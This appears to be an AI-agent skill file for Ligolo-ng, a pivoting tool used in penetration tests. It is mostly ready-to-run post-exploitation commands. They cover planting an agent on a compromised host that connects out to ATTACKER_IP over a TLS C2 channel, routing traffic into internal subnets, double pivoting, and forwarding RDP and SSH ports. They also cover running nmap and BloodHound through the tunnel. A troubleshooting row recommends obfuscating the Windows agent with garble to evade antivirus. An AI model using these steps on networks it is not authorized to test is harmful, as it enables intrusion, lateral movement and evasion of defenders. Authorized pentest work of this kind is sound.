| name | ligolo-ng |
| description | Operate Ligolo-ng — an advanced tunneling and pivoting framework using TUN interfaces to route traffic through compromised hosts without SOCKS proxies or proxychains. Use when pivoting into internal networks during penetration tests, setting up multi-hop tunnels (double pivoting), forwarding ports, or replacing chisel/SSH tunneling in your post-exploitation workflow. Covers installation, TUN interface setup, proxy/agent architecture, starting tunnels, adding routes, double pivoting, port forwarding, multiple sessions, and comparison with alternative pivoting tools.
|
| metadata | {"author":"redhoundinfosec","version":"1.0","repo":"https://github.com/nicocha30/ligolo-ng","stars":"3.8k","language":"Go"} |
ligolo-ng Agent Skill
When to Use This Skill
Use this skill when:
- You have a foothold on a DMZ or compromised host and need to reach internal network segments
- Setting up seamless routing to internal subnets without proxychains overhead
- Implementing double-pivot (attacker → host A → host B → internal network)
- Forwarding specific ports from internal machines to your attacker box
- Replacing chisel or SSH
-D tunnels with a more capable pivoting solution
- The user asks about network pivoting, TUN-based tunneling, or Ligolo-ng configuration
What Ligolo-ng Does
Ligolo-ng creates a TUN (network tunnel) interface on the attacker machine and routes all traffic to
internal network segments through a lightweight agent running on the compromised host — without
requiring SOCKS proxies or proxychains. The agent makes an outbound connection to the attacker-controlled
proxy, which then provides full routing-level access to the internal network. The result is native TCP/UDP
connectivity to internal hosts: run nmap, nessus, bloodhound, or any tool directly.
Architecture
Attacker Machine (Linux) Compromised Host
┌──────────────────────────┐ ┌──────────────────────────┐
│ ligolo-ng proxy │◄─────────│ ligolo-ng agent │
│ TUN interface: ligolo0 │ TLS C2 │ (outbound connection) │
│ Route: 10.10.10.0/24 │ │ NIC: 10.10.10.50 │
│ via ligolo0 │ │ NIC: 172.16.0.1 (DMZ) │
└──────────────────────────┘ └──────────────────────────┘
│ native routing
▼
nmap 10.10.10.0/24 ← works directly, no proxychains
The proxy runs on the attacker box and listens for agent connections. The agent runs on the pivot
host and dials out, bypassing most inbound firewall rules.
Installation
Method 1 — Download Pre-compiled Releases (recommended)
VERSION=$(curl -s https://api.github.com/repos/nicocha30/ligolo-ng/releases/latest \
| grep tag_name | cut -d '"' -f4)
wget "https://github.com/nicocha30/ligolo-ng/releases/download/${VERSION}/proxy_linux_amd64.tar.gz"
tar -xzf proxy_linux_amd64.tar.gz
wget "https://github.com/nicocha30/ligolo-ng/releases/download/${VERSION}/agent_linux_amd64.tar.gz"
wget "https://github.com/nicocha30/ligolo-ng/releases/download/${VERSION}/agent_windows_amd64.zip"
wget "https://github.com/nicocha30/ligolo-ng/releases/download/${VERSION}/agent_linux_386.tar.gz"
Method 2 — Build from Source
git clone https://github.com/nicocha30/ligolo-ng.git
cd ligolo-ng
go build -o proxy cmd/proxy/main.go
go build -o agent cmd/agent/main.go
GOOS=windows GOARCH=amd64 go build -o agent.exe cmd/agent/main.go
GOARCH=386 go build -o agent32 cmd/agent/main.go
TUN Interface Setup
This is required only once on the attacker machine. You need root or CAP_NET_ADMIN.
sudo ip tuntap add user $USER mode tun ligolo
sudo ip link set ligolo up
ip link show ligolo
The interface has no IP assigned — Ligolo-ng uses it purely for routing.
Starting the Proxy
The proxy runs on the attacker machine and listens for agent connections.
./proxy -selfcert
./proxy -selfcert -laddr 0.0.0.0:11601
./proxy -certfile server.crt -keyfile server.key
./proxy -selfcert -v
Connecting the Agent
Run the agent on the compromised pivot host. It dials OUT to the proxy.
./agent -connect ATTACKER_IP:11601 -ignore-cert
.\agent.exe -connect ATTACKER_IP:11601 -ignore-cert
./agent -connect ATTACKER_IP:11601 -ignore-cert -retry
./agent -connect ATTACKER_IP:11601 -ignore-cert -http-proxy http://CORP_PROXY:8080
Starting a Tunnel
Once the agent connects, you'll see it in the proxy's interactive shell.
ligolo-ng » session
ligolo-ng » session
[Agent: CORP\bob@DESKTOP-PIVOT01] » ifconfig
[Agent: CORP\bob@DESKTOP-PIVOT01] » start
Adding Routes to Internal Networks
After starting the tunnel, add routes on the attacker machine to reach internal subnets via the TUN interface.
sudo ip route add 172.16.0.0/24 dev ligolo
sudo ip route add 10.10.10.0/24 dev ligolo
ip route | grep ligolo
ping 172.16.0.5
nmap -sV 172.16.0.5
curl http://172.16.0.10/
Port Forwarding
Forward a port on the pivot host (or a host reachable by pivot) to a local port on the attacker.
[Agent] » listener_add --addr 0.0.0.0:1234 --to 127.0.0.1:3389
[Agent] » listener_list
[Agent] » listener_del --id 0
[Agent] » listener_add --addr 0.0.0.0:2222 --to 172.16.0.5:22
Double Pivoting
Access a network reachable only from the second pivot (host B), using host A as an intermediate.
scp agent user@172.16.0.5:/tmp/agent
./proxy -selfcert -laddr 0.0.0.0:11602
[Agent@HostA] » listener_add --addr 0.0.0.0:11602 --to ATTACKER_IP:11602
[Agent@HostB] » ifconfig
[Agent@HostB] » start
sudo ip route add 192.168.100.0/24 dev ligolo
Multiple Sessions
Ligolo-ng supports multiple concurrent agent sessions.
ligolo-ng » session
ligolo-ng » session
sudo ip tuntap add user $USER mode tun ligolo2
sudo ip link set ligolo2 up
Comparison with Other Pivoting Tools
| Feature | Ligolo-ng | Chisel | SSH -D | Proxychains |
|---|
| Full routing (no proxychains) | ✅ | ❌ | ❌ | N/A |
| UDP support | ✅ | ❌ | ❌ | ❌ |
| ICMP (ping) through tunnel | ✅ | ❌ | ❌ | ❌ |
| Outbound agent (bypasses inbound FW) | ✅ | ✅ | ❌ | N/A |
| Native tool compatibility | ✅ | ❌ | ❌ | Partial |
| Double pivot ease | ✅ | Complex | Complex | N/A |
| Windows agent | ✅ | ✅ | Limited | ❌ |
| Requires root on attacker | ✅ (TUN) | ❌ | ❌ | ❌ |
Ligolo-ng's primary advantage is full kernel-level routing — tools like nmap, gobuster, bloodhound,
and Metasploit work natively against internal hosts without any proxy configuration.
Advanced Techniques
Running Nmap Through Tunnel
sudo nmap -sV -sC -p- 172.16.0.0/24 --open -oX internal_nmap.xml
sudo nmap -sn 172.16.0.0/24
BloodHound Collection Through Tunnel
python3 bloodhound.py -u 'user' -p 'pass' -d corp.local \
-ns 172.16.0.1 --zip -c All
Nessus / OpenVAS Scanning Through Tunnel
Configure Nessus to scan internal subnet — traffic routes via ligolo TUN without any proxy config.
Troubleshooting
| Issue | Cause | Fix |
|---|
TUN interface not found | tuntap not created | sudo ip tuntap add user $USER mode tun ligolo |
| Agent connects but no traffic | Route not added | sudo ip route add SUBNET dev ligolo |
permission denied creating TUN | No CAP_NET_ADMIN | Run with sudo; or grant capability to proxy binary |
| Agent keeps disconnecting | Unstable connection | Use -retry flag on agent |
-ignore-cert required | Self-signed cert | Use -certfile/-keyfile for production |
| Double pivot traffic fails | Missing relay listener | Verify listener_add on Host A before agent on B connects |
| nmap SYN scan fails | Needs raw socket (root) | Run nmap as root; or use -sT (connect scan) |
| Windows agent flagged by AV | Signature detection | Recompile with custom GOFLAGS; obfuscate with garble |
Built by Red Hound InfoSec — On-demand offensive security expertise for SMBs.
20+ years of Fortune 500 experience. Penetration testing, attack surface analysis, and security consulting.
redhound.us | GitHub | Book a consultation